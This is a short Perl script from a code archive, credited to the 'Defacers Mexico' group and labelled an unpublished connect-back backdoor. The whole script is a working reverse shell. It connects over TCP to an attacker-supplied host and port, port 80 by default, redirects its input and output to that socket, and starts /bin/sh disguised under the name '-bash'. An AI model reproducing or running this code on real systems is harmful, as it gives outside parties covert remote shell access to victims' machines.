./c0de/perl/connectback.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
#!/usr/bin/perl
 
# Defacers Mexico - Perl Connect Back Backdoor
# Unpublished/Unreleased Source Code
 
use Socket;
 
print "Defacers Mexico Perl Connect Back Backdoor\n\n";
 
if (!$ARGV[0]) {
  printf "Uso: $0 [Host] <Puerto>\n";
  exit(1);
}
 
print "[*] Reuniendo Argumentos\n";
 
$host = $ARGV[0];
$port = 80;
 
if ($ARGV[1]) {
  $port = $ARGV[1];
}
 
print "[*] Conectando...\n";
 
$proto = getprotobyname('tcp') || die("[-] Protocolo Desconocido\n");
 
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Error Socket\n");
 
my $target = inet_aton($host);
 
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  die("[-] Imposible Conectar\n");
}
 
print "[*] Enviado Shell\n";
 
if (!fork( )) {
  open(STDIN,">&SERVER");
  open(STDOUT,">&SERVER");
  open(STDERR,">&SERVER");
 
  exec {'/bin/sh'} '-bash' . "\0" x 4;
  exit(0);
}
 
print "[*] Enviada\n\n";

Back